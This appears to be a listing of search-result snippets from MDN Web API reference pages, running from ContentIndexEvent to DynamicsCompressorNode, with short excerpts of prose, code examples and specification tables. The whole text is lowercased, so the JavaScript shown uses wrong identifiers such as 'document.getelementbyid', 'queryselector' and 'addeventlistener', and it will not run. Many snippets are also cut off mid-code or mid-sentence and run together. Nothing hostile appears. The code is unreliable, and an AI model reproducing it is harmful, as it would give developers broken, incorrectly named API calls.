... var removedata = { id : 'unique-content-id' } var cievent = new contentindexevent('contentdelete', removedata); cievent.id; // should return 'unique-content-id' specifications specification status comment unknownthe definition of 'contentindexevent' in that specification.
ContentIndexEvent - Web APIs
it is not fired when the contentindex.delete method is called.
... self.addeventlistener('contentdelete', (event) => { console.log(event.id); // logs content index id, which can then be used to determine what content to delete from your cache }); specifications specification status comment unknownthe definition of 'contentindexevent' in that specification.
ConvolverNode() - Web APIs
disablenormalization: a boolean controlling whether the impulse response from the buffer will be scaled by an equal-power normalization, or not.
... specifications specification status comment web audio apithe definition of 'convolvernode()' in that specification.
ConvolverNode.buffer - Web APIs
this is normally a simple recording of as-close-to-an-impulse as can be found in the space you want to model.
... convolver.buffer = concerthallbuffer; specifications specification status comment web audio apithe definition of 'buffer' in that specification.
ConvolverNode - Web APIs
convolvernode.normalize a boolean that controls whether the impulse response from the buffer will be scaled by an equal-power normalization when the buffer attribute is set, or not.
... let reverb = await createreverb(); // someotheraudionode -> reverb -> destination someotheraudionode.connect(reverb); reverb.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'convolvernode' in that specification.
CountQueuingStrategy.CountQueuingStrategy() - Web APIs
this is a non-negative integer defining the total number of chunks that can be contained in the internal queue before backpressure is applied.
... }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); var size = queuingstrategy.size(); specifications specification status comment streamsthe definition of 'countqueuingstrategy()' in that specification.
CountQueuingStrategy - Web APIs
the countqueuingstrategy interface of the the streams api provides a built-in chunk counting queuing strategy that can be used when constructing streams.
... }, abort(err) { console.log("sink error:", err); } }, queueingstrategy); var size = queueingstrategy.size(); specifications specification status comment streamsthe definition of 'countqueuingstrategy' in that specification.
CrashReportBody - Web APIs
for security reasons, no details of the crash are communicated in the body except for a general crash reason.
... specifications specification status comment reporting apithe definition of 'crashreportbody' in that specification.
CredentialsContainer.store() - Web APIs
calls to it within an <iframe> element will resolve without effect.
... example // tbd specifications specification status comment credential management level 1 working draft initial definition.
CustomElementRegistry.upgrade() - Web APIs
if there are no descendant elements that can be upgraded, no error is thrown.
... specifications specification status comment html living standardthe definition of 'customelements.upgrade()' in that specification.
CustomElementRegistry.whenDefined() - Web APIs
const undefinedelements = container.queryselectorall(':not(:defined)'); const promises = [...undefinedelements].map( button => customelements.whendefined(button.localname) ); // wait for all the children to be upgraded, // then remove the placeholder.
... await promise.all(promises); container.removechild(placeholder); specifications specification status comment html living standardthe definition of 'customelements.whendefined()' in that specification.
CustomElementRegistry - Web APIs
// create a class for the element class wordcount extends htmlparagraphelement { constructor() { // always call super first in constructor super(); // count words in element's parent element var wcparent = this.parentnode; function countwords(node){ var text = node.innertext || node.textcontent return text.split(/\s+/g).length; } var count = 'words: ' + countwords(wcparent); // create a shadow root var shadow = this.attachshadow({mode: 'open'}); // cre...
... specifications specification status comment html living standardthe definition of 'customelementregistry' in that specification.
CustomEvent() - Web APIs
example // add an appropriate event listener obj.addeventlistener("cat", function(e) { process(e.detail) }); // create and dispatch the event var event = new customevent("cat", { detail: { hazcheeseburger: true } }); obj.dispatchevent(event); additional examples can be found at creating and triggering events.
... specifications specification status comment domthe definition of 'customevent()' in that specification.
DOMConfiguration - Web APIs
note: this interface has never been supported in gecko, and has been removed from the dom specification.
... pre-defined parameters: "canonical-form", "cdata-sections", "check-character-normalization", "comments", "datatype-normalization", "element-content-whitespace", "entities", "error-handler", "infoset", "namespaces", "namespace-declarations", "normalize-characters","schema-location", "schema-type", "split-cdata-sections", "validate", "validate-if-schema", "well-formed" properties domconfiguration.parameternames read only is a domstringlist methods domconfiguration.cansetparameter() returns a boolean domconfiguration.getparameter() returns a domuserdata domconfiguration.setparameter() sets a parameter specification http://www.w3.org/tr/dom-level-3-cor...mconfiguration ...
DOMException() - Web APIs
example tbd specifications specification status comment web idlthe definition of 'domexception()' in that specification.
... candidate recommendation adds the constructor for the domexception class.
DOMException.message - Web APIs
specifications specification status comment web idlthe definition of 'message' in that specification.
... candidate recommendation browser compatibility the compatibility table on this page is generated from structured data.
DOMException.name - Web APIs
WebAPIDOMExceptionname
specifications specification status comment web idlthe definition of 'name' in that specification.
... candidate recommendation ...
DOMImplementation.createHTMLDocument() - Web APIs
rt it below.</p> <iframe id="theframe" src="about:blank" /> </body> the javascript implementation of makedocument() follows: function makedocument() { let frame = document.getelementbyid("theframe"); let doc = document.implementation.createhtmldocument("new document"); let p = doc.createelement("p"); p.innerhtml = "this is a new paragraph."; try { doc.body.appendchild(p); } catch(e) { console.log(e); } // copy the new html document into the frame let destdocument = frame.contentdocument; let srcnode = doc.documentelement; let newnode = destdocument.importnode(srcnode, true); destdocument.replacechild(newnode, destdocument.documentelement); } the code in lines 4–12 handle creating the new html document and inserting some content into it.
... view live examples the returned document is pre-constructed with the following html: <!doctype html> <html> <head> <title>title</title> </head> <body> </body> </html> specifications specification status comment domthe definition of 'domimplementation.createhtmldocument' in that specification.
DOMImplementationList - Web APIs
can be iterated with 0-based index.
... specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'domimplementationlist' in that specification.
DOMMatrixReadOnly() - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'dommatrixreadonly' in that specification.
... candidate recommendation initial definition.
DOMMatrixReadOnly.flipX() - Web APIs
const flipped = document.getelementbyid('flipped'); const matrix = new dommatrixreadonly(); const flippedmatrix = matrix.flipx(); flipped.setattribute('transform', flippedmatrix.tostring()); screenshotlive sample specifications specification status comment geometry interfaces module level 1the definition of 'dommatrixreadonly.flipx()' in that specification.
... candidate recommendation initial definition ...
DOMMatrixReadOnly.translate() - Web APIs
const matrix = new dommatrixreadonly().translate(25, 25); document.queryselector('#transformed').setattribute('transform', matrix.tostring()); screenshotlive sample specifications specification status comment geometry interfaces module level 1the definition of 'dommatrixreadonly.translate()' in that specification.
... candidate recommendation initial definition ...
DOMRect.DOMRect() - Web APIs
WebAPIDOMRectDOMRect
examples to create a new domrect, you could run a line of code like so: mydomrect = new domrect(0,0,100,100); // running 'mydomrect' in the console would then return // domrect { x: 0, y: 0, width: 100, height: 100, top: 0, right: 100, bottom: 100, left: 0 } specifications specification status comment geometry interfaces module level 1the definition of 'domrect()' in that specification.
... candidate recommendation initial definition.
DOMRectReadOnly() - Web APIs
examples to create a new dompoint, you could run a line of code like so: const mydomrect = new domrectreadonly(0, 0, 100, 100) // running 'mydomrect' in the console would then return // domrect { x: 0, y: 0, width: 100, height: 100, top: 0, right: 100, bottom: 100, left: 0 } specifications specification status comment geometry interfaces module level 1the definition of 'domrectreadonly()' in that specification.
... candidate recommendation initial definition.
DOMRectReadOnly.bottom - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'bottom' in that specification.
... candidate recommendation latest spec version is an ed.
DOMRectReadOnly.height - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'height' in that specification.
... candidate recommendation latest spec version is an ed.
DOMRectReadOnly.left - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'left' in that specification.
... candidate recommendation latest spec version is an ed.
DOMRectReadOnly.right - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'right' in that specification.
... candidate recommendation latest spec version is an ed.
DOMRectReadOnly.top - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'top' in that specification.
... candidate recommendation latest spec version is an ed.
DOMRectReadOnly.width - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'width' in that specification.
... candidate recommendation latest spec version is an ed.
DOMRectReadOnly.x - Web APIs
WebAPIDOMRectReadOnlyx
specifications specification status comment geometry interfaces module level 1the definition of 'x' in that specification.
... candidate recommendation latest spec version is an ed.
DOMRectReadOnly.y - Web APIs
WebAPIDOMRectReadOnlyy
specifications specification status comment geometry interfaces module level 1the definition of 'y' in that specification.
... candidate recommendation latest spec version is an ed.
DOMStringList - Web APIs
domstringlist.contains() returns boolean indicating if the given string is in the list specifications specification status comment html living standardthe definition of 'domstringlist' in that specification.
... living standard initial specification ...
DOMTokenList.contains() - Web APIs
return value a boolean, which is true if the calling list contains token, otherwise false.
... first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let result = classes.contains("c"); if (result) { span.textcontent = "the classlist contains 'c'"; } else { span.textcontent = "the classlist does not contain 'c'"; } the output looks like this: specifications specification status comment domthe definition of 'contains()' in that specification.
DOMTokenList.remove() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; classes.remove("c"); span.textcontent = classes; the output looks like this: to remove multiple classes at once, you can supply multiple tokens.
... the order you supply the tokens doesn't have to match the order they appear in the list: let span2 = document.getelementsbytagname("span")[0] let classes2 = span.classlist; classes2.remove("c", "b"); span2.textcontent = classes; specifications specification status comment domthe definition of 'remove()' in that specification.
DOMTokenList.supports() - Web APIs
returns a boolean indicating whether the token was found.
... example let iframe = document.getelementbyid('display'); if (iframe.sandbox.supports('an-upcoming-feature')) { // support code for mystery future feature } else { // fallback code } if (iframe.sandbox.supports('allow-scripts')) { // instruct frame to run javascript // // (note: this feature is well-supported; this is just an example!) // } specifications specification status comment credential management level 1 working draft initial definition.
DOMTokenList.toggle() - Web APIs
return value a boolean indicating whether token is in the list after the call.
... b'</span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; span.addeventlistener('click', function() { let result = classes.toggle("c"); if (result) { span.textcontent = `'c' added; classlist is now "${classes}".`; } else { span.textcontent = `'c' removed; classlist is now "${classes}".`; } }) the output looks like this: specifications specification status comment domthe definition of 'toggle()' in that specification.
DataTransfer.items - Web APIs
pes</code>, <code>items</code>} properties</h1> <ul> <li id="i1" ondragstart="dragstart_handler(event);" draggable="true">drag item 1 to the drop zone</li> <li id="i2" ondragstart="dragstart_handler(event);" draggable="true">drag item 2 to the drop zone</li> </ul> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'items' in that specification.
... living standard html 5.1the definition of 'items' in that specification.
DataTransfer.mozItemCount - Web APIs
this can be used, for example, to get the number of files being dragged.
... function drop_handler(event) { var files = []; var dt = event.datatransfer; for (var i = 0; i < dt.mozitemcount; i++) files.push(dt.mozgetdataat("application/x-moz-file", i)); } specifications this property is not defined in any web standard.
DataTransfer.mozSetDataAt() - Web APIs
mozsetdataat() may only be called with an index argument less than mozitemcount in which case an existing item is modified, or equal to mozitemcount in which case a new item is added, and the mozitemcount is incremented by one.
... function dragstart_handler(event) { var dt = event.datatransfer; var idx = dt.mozitemcount; // add two new items to the drag transfer if (idx >= 0) { dt.mozsetdataat("text/uri-list","http://www.example.com/", idx); dt.mozsetdataat("text/html", "hello world", idx+1); } } specifications this method is not defined in any web standard.
DataTransferItem.getAsFile() - Web APIs
drop: file "); } } } specifications specification status comment html living standardthe definition of 'getasfile()' in that specification.
... living standard initial value html 5.1the definition of 'getasfile()' in that specification.
DataTransferItem.kind - Web APIs
drop: file "); } } } specifications specification status comment html living standardthe definition of 'kind' in that specification.
... living standard initial version html 5.1the definition of 'kind' in that specification.
DataTransferItem.type - Web APIs
drop: file "); } } } specifications specification status comment html living standardthe definition of 'type' in that specification.
... living standard initial version html 5.1the definition of 'type' in that specification.
DataTransferItemList.DataTransferItem() - Web APIs
if the index is less than zero or greater than or equal to the number of items in the list (as indicated by the list's length property, undefined is returned.
... select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } result drag and drop demo link specifications specification status comment html living standardthe definition of 'datatransferitem getter' in that specification.
DataTransferItemList.clear() - Web APIs
ver_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } result result link specifications specification status comment html living standardthe definition of 'clear()' in that specification.
... living standard html 5.1the definition of 'clear()' in that specification.
DataTransferItemList.length - Web APIs
select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } result drag and drop demo link specifications specification status comment html living standardthe definition of 'length' in that specification.
... living standard html 5.1the definition of 'length' in that specification.
DataTransferItemList - Web APIs
specifications specification status comment html living standardthe definition of 'datatransferitemlist' in that specification.
... living standard html 5.1the definition of 'datatransferitemlist' in that specification.
DelayNode.delayTime - Web APIs
example we have created a simple example that allows you to play three different samples on a constant loop — see create-delay (you can also view the source code).
... var delay1; rangesynth.oninput = function() { delay1 = rangesynth.value; synthdelay.delaytime.setvalueattime(delay1, audioctx.currenttime); } specifications specification status comment web audio apithe definition of 'delaytime' in that specification.
DeviceLightEvent.value - Web APIs
specifications specification status comment ambient light sensorthe definition of 'ambient light events' in that specification.
... candidate recommendation initial definition ...
DeviceMotionEvent.interval - Web APIs
you can use this to determine the granularity of motion events.
... syntax var interval = devicemotionevent.interval; specifications specification status comment deviceorientation event specification editor's draft initial definition.
DeviceMotionEvent.rotationRate - Web APIs
note: if the hardware isn't capable of providing this information, this property returns null.
... specifications specification status comment deviceorientation event specification editor's draft initial definition.
DeviceMotionEvent - Web APIs
take care about this while using them.
... example window.addeventlistener('devicemotion', function(event) { console.log(event.acceleration.x + ' m/s2'); }); specifications specification status comment deviceorientation event specificationthe definition of 'devicemotionevent' in that specification.
DeviceOrientationEvent.DeviceOrientationEvent() - Web APIs
absolute: a boolean that indicates whether or not the device is providing orientation data absolutely.
... specifications specification status comment deviceorientation event specification editor's draft initial definition.
DeviceOrientationEvent.absolute - Web APIs
indicates whether or not the device is providing orientation data absolutely (that is, in reference to the earth's coordinate frame) or using some arbitrary frame determined by the device.
... specifications specification status comment deviceorientation event specification editor's draft initial specification.
DeviceProximityEvent.min - Web APIs
the min property provides the minimum distance the sensor can report, in centimeters.
... syntax var value = instanceofdeviceproximityevent.min; value a positive number indicating the minimum distance, in centimeters (cm), the device's proximity sensor can report.
DisplayMediaStreamConstraints - Web APIs
properties audio a boolean or mediatrackconstraints value; if a boolean, this value simply indicates whether or not to include an audio track in the mediastream returned by getdisplaymedia().
... specifications specification status comment unknownthe definition of 'displaymediastreamconstraints' in that specification.
Document.URL - Web APIs
WebAPIDocumentURL
the url read-only property of the document interface returns the document location as a string.
... syntax const url = document.url example javascript document.getelementbyid("url").textcontent = document.url; html <p id="urltext"> url:<br/> <span id="url">url goes here</span> </p> result specifications specification status comment domthe definition of 'document.url' in that specification.
Document.alinkColor - Web APIs
document.alinkcolor is deprecated in dom level 2 html.
... another alternative is document.body.alink, although this is deprecated in html 4.01 in favor of the css alternative.
Document.characterSet - Web APIs
users can override the developer-specified encoding inside the content-type header or inline like <meta charset="utf-8">, such as with firefox's view → text encoding menu.
... syntax var string = document.characterset; examples <button onclick="console.log(document.characterset);"> log character encoding </button> <!-- displays document's character encoding in the dev console, such as "iso-8859-1" or "utf-8" --> specifications specification status comment domthe definition of 'characterset' in that specification.
Document.clear() - Web APIs
WebAPIDocumentclear
in recent versions of mozilla-based applications, as well as in internet explorer and netscape 4, this method does nothing.
... syntax document.clear(); specification html5 ...
Document.close() - Web APIs
WebAPIDocumentclose
syntax document.close(); example // open a document to write to it document.open(); // write the content of the document document.write("<p>the one and only content.</p>"); // close the document document.close(); specifications specification status comment html living standardthe definition of 'document.close()' in that specification.
... living standard document object model (dom) level 2 html specificationthe definition of 'document.close()' in that specification.
Document.createEntityReference() - Web APIs
which has the value referred to by the entity, using unicode escape sequences or fromcharcode() as necessary.
... specifications createentityreference ...
Document.createRange() - Web APIs
example let range = document.createrange(); range.setstart(startnode, startoffset); range.setend(endnode, endoffset); notes once a range is created, you need to set its boundary points before you can make use of most of its methods.
... specifications specification status comment domthe definition of 'document.createrange' in that specification.
Document.createTouch() - Web APIs
consequently, these parameters should be considered deprecated and not used.
... var target = document.getelementbyid("target"); var touch1 = document.createtouch(window, target, 1, 15, 20, 35, 40); var touch2 = document.createtouch(window, target, 2, 25, 30, 45, 50); specifications specification status comment touch eventsthe definition of 'document.createtouch()' in that specification.
Document.currentScript - Web APIs
(for modules use import.meta instead.) it's important to note that this will not reference the <script> element if the code in the script is being called as a callback or event handler; it will only reference the element while it's initially being processed.
... syntax var curscriptelement = document.currentscript; example this example checks to see if the script is being executed asynchronously: if (document.currentscript.async) { console.log("executing asynchronously"); } else { console.log("executing synchronously"); } view live examples specifications specification status comment html living standardthe definition of 'document.currentscript' in that specification.
Document.defaultView - Web APIs
specifications specification status comment html living standardthe definition of 'document.defaultview' in that specification.
... living standard no change html5the definition of 'document.defaultview' in that specification.
Document.dir - Web APIs
WebAPIDocumentdir
syntax dirstr = document.dir document.dir = dirstr specifications specification status comment html living standardthe definition of 'document.dir' in that specification.
... living standard initial specification ...
Document.documentURI - Web APIs
the documenturi read-only property of the document interface returns the document location as a string.
... syntax const uri = document.documenturi example javascript document.getelementbyid("url").textcontent = document.documenturi; html <p id="urltext"> url:<br/> <span id="url">url goes here</span> </p> result specifications specification status comment domthe definition of 'documenturi' in that specification.
Document.domConfig - Web APIs
note: this has never been implemented in mozilla, and has been removed from the dom specification.
... specification http://www.w3.org/tr/dom-level-3-cor...ent3-domconfig ...
Document: drag event - Web APIs
bubbles yes cancelable yes default action continue the drag & drop operation.
..., false); document.addeventlistener("drop", function(event) { // prevent default action (open as link for some elements) event.preventdefault(); // move dragged elem to the selected drop target if (event.target.classname == "dropzone") { event.target.style.background = ""; dragged.parentnode.removechild( dragged ); event.target.appendchild( dragged ); } }, false); specifications specification status comment html living standardthe definition of 'drag event' in that specification.
Document: dragexit event - Web APIs
bubbles yes cancelable no default action none.
... specifications specification status comment html living standardthe definition of 'dragexit' in that specification.
Document: dragleave event - Web APIs
bubbles yes cancelable no default action none.
... specifications specification status comment html living standardthe definition of 'dragleave' in that specification.
Document: dragover event - Web APIs
bubbles yes cancelable yes default action reset the current drag operation to "none".
... specifications specification status comment html living standardthe definition of 'dragover' in that specification.
Document: dragstart event - Web APIs
bubbles yes cancelable yes default action initiate the drag-and-drop operation.
... specifications specification status comment html living standardthe definition of 'dragstart' in that specification.
Document: drop event - Web APIs
bubbles yes cancelable yes default action varies interface dragevent event handler property ondrop examples see the drag event for example code or this jsfiddle demo.
... specifications specification status comment html living standardthe definition of 'drop event' in that specification.
Document.enableStyleSheetsForSet() - Web APIs
notes title matches are case-sensitive.
... calling this method with a null name has no effect; if you want to disable all alternate and preferred style sheets, you must pass "", the empty string.
Document.exitPointerLock() - Web APIs
syntax document.exitpointerlock(); specifications specification status comment pointer lockthe definition of 'document' in that specification.
... candidate recommendation extend the document interface ...
Document.featurePolicy - Web APIs
syntax var policy = iframeelement.featurepolicy value a featurepolicy object that can be used to inspect the feature policy settings applied to the document.
... specification specification status comment feature policy editor's draft initial definition.
Document.fgColor - Web APIs
WebAPIDocumentfgColor
document.fgcolor is deprecated in dom level 2 html.
... another alternative is document.body.text, although this is deprecated in html 4.01 in favor of the css alternative above.
Document.fonts - Web APIs
WebAPIDocumentfonts
examples doing operation after all fonts are loaded document.fonts.ready.then(function() { // any operation that needs to be done only after all the fonts // have finished loading can go here.
... }); specifications specification status comment css font loading module level 3the definition of 'fontfaceset' in that specification.
Document: fullscreenchange event - Web APIs
bubbles yes cancelable no interface event event handler property onfullscreenchange the event is sent to the element that is transitioning into or out of full-screen mode, and this event then bubbles up to the document.
... specifications specification status fullscreen api living standard ...
Document.getAnimations() - Web APIs
return value an array of animation objects, each representing one animation currently associated with elements which are descendants of the document on which it's called.
... document.getanimations().foreach( function (animation) { animation.playbackrate *= .5; } ); specifications specification status comment web animationsthe definition of 'document.getanimations()' in that specification.
Document.height - Web APIs
WebAPIDocumentheight
in most cases, this is equal to the <body> element of the current document.
... syntax pixels = document.height example // alert document height alert(document.height); alternatives document.body.clientheight document.documentelement.clientheight document.documentelement.scrollheight specification html5 ...
Document.hidden - Web APIs
WebAPIDocumenthidden
the document.hidden read-only property returns a boolean value indicating if the page is considered hidden or not.
...}); specifications specification status comment page visibility (second edition)the definition of 'document.hidden' in that specification.
Document.implementation - Web APIs
for example, the domimplementation interface includes a createdocumenttype method with which dtds can be created for one or more documents managed by the implementation.
... specifications specification status comment domthe definition of 'document.implementation' in that specification.
Document.lastStyleSheetSet - Web APIs
syntax var laststylesheetset = document.laststylesheetset on return, laststylesheetset indicates the style sheet set that was most recently set.
... note: this value doesn't change when document.enablestylesheetsforset() is called.
Document.links - Web APIs
WebAPIDocumentlinks
example var links = document.links; for(var i = 0; i < links.length; i++) { var linkhref = document.createtextnode(links[i].href); var linebreak = document.createelement("br"); document.body.appendchild(linkhref); document.body.appendchild(linebreak); } specifications specification status comment html living standardthe definition of 'document.links' in that specification.
... living standard document object model (dom) level 2 html specificationthe definition of 'document.links' in that specification.
Document.onvisibilitychange - Web APIs
the document.onvisibilitychange property represents the event handler that is called when a visibilitychange event reaches this object.
... example document.onvisibilitychange = function() { console.log("visibility of page has changed!"); }; specifications specification status comment page visibility (second edition)the definition of 'onvisibilitychange' in that specification.
Document: pointerlockerror event - Web APIs
the pointerlockerror event is fired when locking the pointer failed (for technical reasons or because the permission was denied).
... bubbles yes cancelable no interface event event handler property onpointerlockerror examples using addeventlistener(): const para = document.queryselector('p'); document.addeventlistener('pointerlockerror', (event) => { console.log('error locking pointer'); }); using the onpointerlockerror event handler property: document.onpointerlockerror = (event) => { console.log('error locking pointer'); }; specifications specification status pointer lock candidate recommendation ...
Document: pointermove event - Web APIs
the pointermove event is fired when a pointer changes coordinates, and the pointer has not been canceled by a browser touch-action.
... bubbles yes cancelable yes interface pointerevent event handler property onpointermove examples using addeventlistener(): document.addeventlistener('pointermove', (event) => { console.log('pointer moved'); }); using the onpointermove event handler property: document.onpointermove = (event) => { console.log('pointer moved'); }; specifications specification status pointer events obsolete ...
Document: pointerout event - Web APIs
the pointerout event is fired for several reasons including: pointing device is moved out of the hit test boundaries of an element; firing the pointerup event for a device that does not support hover (see pointerup); after firing the pointercancel event (see pointercancel); when a pen stylus leaves the hover range detectable by the digitizer.
... bubbles yes cancelable yes interface pointerevent event handler property onpointerout examples using addeventlistener(): document.addeventlistener('pointerout', (event) => { console.log('pointer moved out'); }); using the onpointerout event handler property: document.onpointerout = (event) => { console.log('pointer moved out'); }; specifications specification status pointer events obsolete ...
Document.popupNode - Web APIs
typically, this property will be checked during a popupshowing event handler for a context menu to initialize the menu based on the context.
...in these other cases, for example when calling the popup's showpopup method, you may wish to set the popupnode property directly beforehand.
Document.queryCommandState() - Web APIs
syntax querycommandstate(string command) parameters command is a command from document.execcommand() return value querycommandstate() can return a boolean value or null if the state is unknown.
... example html <div contenteditable="true">select a part of this text!</div> <button onclick="makebold();">test the state of the 'bold' command</button> javascript function makebold() { var state = document.querycommandstate("bold"); switch (state) { case true: alert("the bold formatting will be removed from the selected text."); break; case false: alert("the selected text will be displayed in bold."); break; case null: alert("the state of the 'bold' command is indeterminable."); break; } document.execcommand('bold'); } result specifications specification status comment execcommand ...
Document: readystatechange event - Web APIs
bubbles no cancelable no interface event event handler property onreadystatechange examples live example html <div class="controls"> <button id="reload" type="button">reload</button> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } #reload { height: 2rem; } ...
... js const log = document.queryselector('.event-log-contents'); const reload = document.queryselector('#reload'); reload.addeventlistener('click', () => { log.textcontent =''; window.settimeout(() => { window.location.reload(true); }, 200); }); window.addeventlistener('load', (event) => { log.textcontent = log.textcontent + 'load\n'; }); document.addeventlistener('readystatechange', (event) => { log.textcontent = log.textcontent + `readystate: ${document.readystate}\n`; }); document.addeventlistener('domcontentloaded', (event) => { log.textcontent = log.textcontent + `domcontentloaded\n`; }); result specifications specification status comment html living standardthe definition of 'readystatechange' in that specification.
Document.scripts - Web APIs
WebAPIDocumentscripts
you can use this just like an array to get all the elements in the list.
... let scripts = document.scripts; if (scripts.length) { alert('this page has scripts!'); } specifications specification status comment html living standardthe definition of 'document.scripts' in that specification.
Document: selectstart event - Web APIs
if the event is canceled, the selection is not changed.
... bubbles yes cancelable yes interface event event handler property onselectstart examples // addeventlistener version document.addeventlistener('selectstart', () => { console.log('selection started'); }); // onselectstart version document.onselectstart = () => { console.log('selection changed.'); }; specifications specification status comment selection apithe definition of 'selectstart' in that specification.
Document.styleSheetSets - Web APIs
example given an <ul> (list) element with the id "sheetlist", you can populate it with the names of all the available style sheet sets with code like this: let list = document.getelementbyid('sheetlist'); let sheets = document.stylesheetsets; list.innerhtml = ''; for (let i = 0; i < sheets.length; i++) { let item = document.createelement('li'); item.innerhtml = sheets[i]; list.appendchild(item); } notes the list of available style sheet sets is constructed by enumerating all the style sheets available for the document, in the order in which they're listed ...
...duplicates are dropped from the list (using a case-sensitive comparison).
Document.tooltipNode - Web APIs
syntax document.tooltipnode; specification xul-specific method.
... not part of any specification.
Document: touchend event - Web APIs
bubbles yes cancelable yes interface touchevent event handler property ontouchend examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Document: touchmove event - Web APIs
bubbles yes cancelable yes interface touchevent event handler property ontouchmove examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Document: touchstart event - Web APIs
bubbles yes cancelable yes interface touchevent event handler property ontouchstart examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Document.visibilityState - Web APIs
typical use of this can be to prevent the download of some assets when the document is solely prerendered, or stop some activities when the document is in the background or minimized.
...}); specifications specification status comment page visibility (second edition)the definition of 'document.visibilitystate' in that specification.
Document: visibilitychange event - Web APIs
bubbles yes cancelable no interface event event handler property onvisibilitychange usage notes the event doesn't include the document's updated visibility status, but you can get that information from the document's visibilitystate property.
... document.addeventlistener("visibilitychange", function() { if (document.visibilitystate === 'visible') { backgroundmusic.play(); } else { backgroundmusic.pause(); } }); specifications specification status comment page visibility (second edition)the definition of 'visibilitychange' in that specification.
Document.vlinkColor - Web APIs
document.vlinkcolor is deprecated in dom level 2 html.
... another alternative is document.body.vlink, although this is deprecated in html 4.01 in favor of the css alternative.
Document.xmlEncoding - Web APIs
warning: do not use this attribute; it has been removed from the dom level 4 specification and is no longer supported in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7).
... specification http://www.w3.org/tr/dom-level-3-cor...ment3-encoding this has been removed from dom core level 4wd ...
DocumentOrShadowRoot.fullscreenElement - Web APIs
example this example presents a function, isvideoinfullscreen(), which looks at the value returned by fullscreenelement; if the document is in full-screen mode (fullscreenelement isn't null) and the full-screen element's nodename is video, indicating a <video> element, the function returns true, indicating that the video is in full-screen mode.
... function isvideoinfullscreen() { if (document.fullscreenelement && document.fullscreenelement.nodename == 'video') { return true; } return false; } specifications specification status comment fullscreen apithe definition of 'document.fullscreenelement' in that specification.
DocumentOrShadowRoot.nodeFromPoint() - Web APIs
y a double representing the vertical coordinate of a point.
... examples html content <div> <p>some text</p> </div> <p>top node at point 30, 20:</p> <div id="output"></div> javascript content var output = document.getelementbyid("output"); if (document.nodefrompoint) { var node = document.nodefrompoint(30, 20); output.textcontent += node.localname; } else { output.innerhtml = "<span style=\"color: red;\">" + "browser does not support <code>document.nodefrompoint()</code>" + "</span>"; } specifications not part of any specification at present.
DocumentOrShadowRoot.nodesFromPoint() - Web APIs
y the vertical coordinate of a point.
... example html content <div> <p>some text</p> </div> <p>nodes at point 30, 20:</p> <div id="output"></div> javascript content var output = document.getelementbyid("output"); if (document.nodesfrompoint) { var nodes = document.nodesfrompoint(30, 20); for(var i = 0; i < nodes.length; i++) { output.textcontent += nodes[i].localname; if (i < nodes.length - 1) { output.textcontent += " < "; } } } else { output.innerhtml = "<span style=\"color: red;\">" + "browser does not support <code>document.nodesfrompoint()</code>" + "</span>"; } specifications not part of any specification at present.
DocumentOrShadowRoot.pointerLockElement - Web APIs
specifications specification status comment pointer lockthe definition of 'pointerlockelement' in that specification.
... candidate recommendation extend the document interface ...
DocumentTimeline.DocumentTimeline() - Web APIs
this bit of code would start all the cats animating 500 milliseconds into their animations: var cats = document.queryselectorall('.sharedtimelinecat'); cats = array.prototype.slice.call(cats); var sharedtimeline = new documenttimeline({ origintime: 500 }); cats.foreach(function(cat) { var catkeyframes = new keyframeeffect(cat, keyframes, timing); var catanimation = new animation(catkeyframes, sharedtimeline); catanimation.play...
...(); }); specifications specification status comment web animationsthe definition of 'documenttimeline()' in that specification.
DocumentTimeline - Web APIs
this bit of code would start all the cats animating 500 milliseconds into their animations: const cats = document.queryselectorall('.sharedtimelinecat'); const sharedtimeline = new documenttimeline({ origintime: 500 }); for (const cat of cats) { const catkeyframes = new keyframeeffect(cat, keyframes, timing); const catanimation = new animation(catkeyframes, sharedtimeline); catanimation.play(); } specifications spe...
...cification status comment web animationsthe definition of 'documenttimeline' in that specification.
DragEvent() - Web APIs
specifications specification status comment html living standardthe definition of 'dragevent' in that specification.
... living standard html 5.1the definition of 'dragevent' in that specification.
DragEvent.dataTransfer - Web APIs
} dragtarget.addeventlistener("dragend", function(ev) { // call the drag and drop data processor if (ev.datatransfer !== null) processdata(ev.datatransfer); }, false); specifications specification status comment html living standardthe definition of 'dragevent.datatransfer' in that specification.
... living standard html 5.1the definition of 'dragevent.datatransfer' in that specification.
DynamicsCompressorNode() - Web APIs
that can occur when multiple sounds are played and multiplexed together at once.
